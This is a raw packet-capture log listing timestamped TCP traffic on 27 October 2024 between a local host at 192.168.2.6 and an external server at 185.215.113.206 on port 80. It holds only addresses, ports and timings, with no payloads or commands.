Oct 27, 2024 00:31:15.396997929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397036076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397280931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397309065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397337914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397342920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397360086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397378922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397397995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397414923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397435904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397465944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397763968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397813082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397813082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397849083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397869110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397881985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397892952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397917986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397931099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397952080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397964954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.397986889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.397999048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398020983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398032904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398056030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398071051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398087025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398103952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398132086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398753881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398787975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398807049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398822069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398832083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398857117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398866892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398890972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398902893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398926973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398940086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.398956060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.398973942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.399000883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.510931969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.510978937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.510996103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511096001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511110067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511122942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511151075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511178017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511277914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511368990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511419058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511497974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511507988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511518002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511529922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511548042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511578083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.511857986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511869907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.511913061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512043953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512057066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512109995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512279034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512290001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512299061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512307882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512317896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512327909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512341976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512363911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512821913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512834072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512844086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512850046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.512871027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512883902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.512908936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.513263941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513274908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513283014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513292074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513303995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513314009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513314962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.513324022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513334036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.513340950 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.513355017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.513369083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.514285088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514297962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514307022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514317036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514327049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514337063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514338017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.514348984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514360905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514362097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.514365911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514373064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.514380932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.514409065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515239954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515252113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515269041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515279055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515289068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515295029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515300989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515304089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515321970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515326977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515336990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515346050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.515352011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515376091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.515396118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.516067982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.516078949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.516088009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.516098022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.516117096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.516136885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626343966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626369953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626382113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626419067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626462936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626498938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626512051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626550913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626702070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626714945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626745939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626770973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626904964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626918077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.626951933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.626969099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627110958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627123117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627159119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627176046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627238035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627276897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627310038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627334118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627346992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627358913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627362967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627377033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627394915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627827883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627840996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627851963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.627885103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.627912998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628067017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628078938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628091097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628112078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628129005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628382921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628395081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628406048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628417015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628431082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628432035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628443956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.628444910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628475904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.628503084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.629082918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629095078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629105091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629116058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629127979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629136086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.629139900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629156113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629168034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629169941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.629180908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.629193068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.629215002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.629235029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630065918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630078077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630088091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630100965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630112886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630125046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630131006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630136967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630148888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630162954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630171061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630192041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630207062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630904913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.630954027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.630996943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631010056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631021023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631032944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631036997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631045103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631057978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631058931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631071091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631084919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631099939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631133080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631777048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631789923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631802082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631814003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631824970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631834030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631839037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631854057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631865025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631865978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.631880999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.631910086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.632683039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632695913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632707119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632719040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632731915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632738113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.632745028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.632760048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.632786036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.632797003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.741961956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.741976023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.741985083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742027998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742065907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742130041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742168903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742188931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742224932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742345095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742355108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742363930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742389917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742418051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742697001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742707968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742747068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742832899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742842913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742851973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.742873907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.742892027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743179083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743189096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743196964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743206024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743216991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743217945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743228912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743238926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743261099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743277073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743782997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743793011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743802071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743810892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.743833065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.743851900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.744236946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744246006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744254112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744262934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744271994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744280100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.744281054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744292021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744301081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.744302034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.744311094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.744342089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.745039940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745049953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745058060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745065928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745075941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745081902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.745085955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745095015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.745099068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745110035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745120049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.745126963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.745141029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.745157957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.746001005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746016979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746025085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746035099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746043921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746053934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746057987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.746063948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746073961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746083975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746087074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.746124029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.746968031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746978045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746985912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.746994972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747004986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747009039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747019053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747019053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747030973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747040987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747049093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:15.747061014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747061014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:15.747075081 CEST	49709	80	192.168.2.6	185.215.113.206
